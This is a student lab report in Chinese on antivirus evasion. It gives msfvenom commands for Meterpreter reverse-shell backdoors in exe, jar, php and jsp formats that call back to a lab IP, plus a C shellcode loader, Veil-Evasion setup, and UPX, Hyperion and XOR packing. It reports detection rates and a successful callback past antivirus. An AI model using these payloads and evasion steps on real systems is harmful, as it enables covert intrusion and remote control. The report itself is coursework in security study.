• 2019-2020-2 网络对抗技术 20175214 Exp3 免杀原理与实践


    2019-2020-2 网络对抗技术 20175214 Exp3 免杀原理与实践

    一、预备知识

    1.恶意代码检测机制

    • (1)基于特征码的检测
      • 简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
    • (2)启发式恶意软件检测
      • “When I see a bird that walks like a duck and swims like a duck and quacks like a duck, I call that bird a duck.” 对恶意软件检测来说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
    • (3)基于行为的恶意软件检测
      • 从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。

    2.免杀原理(AV)

    • (1)改变特征码
      • 有EXE
        • 加壳:压缩壳 加密壳
      • 有shellcode(像Meterpreter)
        • 用encode进行编码
        • 基于payload重新编译生成可执行文件
      • 有源代码
        • 用其他语言进行重写再编译(veil-evasion)
    • (2)改变行为
      • 通讯方式
        • 尽量使用反弹式连接
        • 使用隧道技术
        • 加密通讯数据
      • 操作模式
        • 基于内存操作
        • 减少对系统的修改
        • 加入混淆作用的正常功能代码
    • (3)非常规方法
      • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
      • 使用社工类攻击,诱骗目标关闭AV软件。
      • 纯手工打造一个恶意软件

    二、实验内容

    (1)正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程;

    • 1、msf编码器生成exe

      • 直接检测

        • 将实验二中msf生成的后门程序5214_bd.exe上传到VirusTotal扫描,结果如下:

        • 可见,71个杀软有57个都检测了出来。

        • Virscan检测结果如下:

        • 可见,49个杀软有28个检测出来。

      • 进行10次编码

        • msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00' LHOST=192.168.177.132 LPORT=5214 -f exe > bd_1.exe
          • 参数说明:
            • -b:删除字符;
            • -e:选择编码器;
            • -i:次数;
        • 上传检测,结果如下,和之前差距不大,可见编码没有太实质性的效果:
    • 2、使用msf生成其他格式的文件

      • 生成jar:msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.177.132 LPORT=5214 x> 5214_bd.jar

        • 上传检测,结果如下,效果比exe好一点,有35个杀软检测出来:
      • 生成php:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.177.132 LPORT=5214 -f raw >5214_bd.php

        • 上传检测,结果如下,只有3个检测出来:
      • 生成jsp:msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.177.132 LPORT=5214 R >5214_bd.jsp

        • 上传检测,结果如下,只有5个检测出来:
    • 3、使用veil-evasion生成后门程序及检测

      • 我认为这是最麻烦的一步,反复安装了好多次才成功,浪费了不少时间;

      • 安装完成后,首先输入veil,进入veil界面,然后输入use evasion进入veil-evasion:

      • 接下来进行配置,输入use c/meterpreter/rev_tcp.py进入配置界面,主要要配置的是ip和端口,和msf一样,ip选的是kali的ip;

        • set LHOST 192.168.177.132
        • set LPORT 5214
      • 输入generate生成文件,并输入文件名,文件的路径如图所示:

      • 还是将文件上传检测,比msf生成的exe要好一点,结果如下:

    • 4、使用shellcode编程

      • 在命令行中输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.177.132 LPORT=5214 -f c,生成shellcode;

      • vim一个c文件,具体代码如下:

    unsigned char buf[] = 之前获得的shellcode;
    int main()
    {
        int (*func)() = (int(*)())buf;
        func();
    }
    

    • 对文件进行编译:i686-w64-mingw32-g++ bd_shellcode.c -o bd_shellcode.exe并上传检测:

    • 5、加壳工具

      • 加壳是对相应的资源进行压缩,压缩后仍可运行。它可以用来保护版权,但同时许多病毒也利用它来作为原理。

      • 1、压缩壳(UPX)

        • 输入upx bd_shellcode.exe -o bd_shellcode_upx.exe进行加壳

        • 上传检测:

      • 2、加密壳(Hyperion)
        由于之前安装veil时是直接clone的,所以在对应的路径找不到Hyperion,就重新装了一个Hyperion,详细过程参见博客

        • 将之前产生的bd_shellcode_upx.exe拷进Hyperion文件夹,并运行如下指令:

          • wine hyperion.exe -v bd_shellcode_upx.exe bd_shellcode_upx_Hyperion.exe
        • 惯例,将加了双重壳的exe上传网站检测:

        • 然后震惊地发现双重壳的被检测数相比单壳反而增加了......

    • 6、使用其他课堂未介绍方法

      • 需要使用一个工具ShellcodeWrapper

      • 先用msfvenom生成一个raw格式的shellcode

        • msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b 'x00' LHOST=192.168.177.132 LPORT=5214 -f raw > shellcode.raw
      • 然后进入下载ShellcodeWrapper文件夹中执行下面命令,其中tidesec为自己设置的key。

        • python shellcode_encoder.py -cpp -cs -py shellcode.raw tidesec xor
      • 生成了三个文件,分别是C++源码,C#源码和py文件;

      • 将c++源码放进codeblock编译生成exe文件

      • 连接测试

      • 上传网站检测

    (2)通过组合应用各种技术实现恶意代码免杀

    • 具体思路:用msfvenom生成一个raw格式的shellcode,使用ShellcodeWrapper对shellcode进行xor加密,将生成的c++源码编译生成exe
    • 使用360检测截图如下:

    (3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    • 使用的是win7的虚拟机;
    • 运行结果和杀软版本如下:

    三、基础问题回答

    (1)杀软是如何检测出恶意代码的?

    • 基于特征码的检测:如果一个可执行文件(或其他运行的库、脚本等)包含被标记过特征的数据则被认为是恶意代码。
    • 启发式恶意软件检测:就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,它就被当做了恶意软件
    • 基于行为的恶意软件检测:相当于是启发式的一种,或者是加入了行为监控的启发式。

    (2)免杀是做什么?

    • 使恶意代码可以逃过杀软的查杀

    (3)免杀的基本方法有哪些?

    • 改变特征码:进行exe文件加壳操作,或者对shellcode用encode进行编码或者基于payload重新编译生成可执行文件、
    • 改变行为:使用反弹式连接、隧道技术与加密通讯的数据。同时加入正常功能代码、尽量减少对系统的修改。
    • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
    • 使用社工类攻击,诱骗目标关闭AV软件。
    • 纯手工打造一个恶意软件

    (4)开启杀软能绝对防止电脑中恶意代码吗?

    • 不能,杀软在不断进步,恶意代码的技术也同样在不断更迭,我们能做的就是养成良好的上网习惯,并随时更新杀软病毒库,保证杀软的正常工作。

    四、心得体会

      再次突破熬夜极限QAQ,真就一次比一次晚呗(凌晨五点......),这次实验绝大多数时间花在装veil和自行实现免杀上,其实主要是我比较头铁,不想使用之前同学已经实现的方法,所以碰了不少壁,期间也数次想过要放弃,转用一个现成的方法,但我还是坚持了下来,最终能够成功实现出来也让我长舒口气。
      这次实验让我学会了免杀的基本原理以及基本的操作,明白了杀软不是万能的,更明白了系统安全的重要性,通过查阅资料也锻炼了我的自学能力,收获很大。

  • 相关阅读:
    Redis持久化
    Java多线程面试题
    Spring学习总结(1)-注入方式
    SpringCloud常用注解
    Linux安装Redis
    Linux系统安装MySQL
    [转]Java CPU 100% 排查技巧
    ImportError: attempted relative import with no known parent package
    python出现Non-ASCII character 'xe6' in file statistics.py on line 19, but no encoding declared错误
    10个不为人知的 Python 冷知识
  • 原文地址:https://www.cnblogs.com/fzlzc/p/12590698.html
Copyright © 2020-2023  润新知